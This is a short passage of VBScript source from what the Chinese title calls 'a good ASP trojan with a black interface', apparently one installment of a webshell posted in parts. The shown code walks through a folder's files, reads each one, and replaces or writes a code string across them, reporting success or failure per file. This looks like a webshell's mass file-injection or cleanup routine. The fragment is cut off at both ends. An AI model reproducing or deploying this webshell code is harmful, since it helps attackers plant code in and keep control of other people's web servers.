一款不错的asp木马 黑色界面(42)

"&Wpath&myfile.name
                            tfile1.close
                        end if    
                        else
                            RRS"<font 
color=red>×</font> "&Wpath&myfile.name
                            tfile1.close
                        end if
                        Set tfile1=Nothing
                    end if
                case "2"
                    Set tfile1=FS1.opentextfile
(Wpath&""&myfile.name,1,-2)
                    NewCode=Replace
(tfile1.readall,Wcode,"")
                    Set 
objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True)
                    objCountFile.Write NewCode
                    objCountFile.Close
                    RRS"√  "&Wpath&myfile.name
                    Set objCountFile=Nothing
                case "3"
                    Set tfile1=FS1.opentextfile
(Wpath&""&myfile.name,1,-2)
                    NewCode=Replace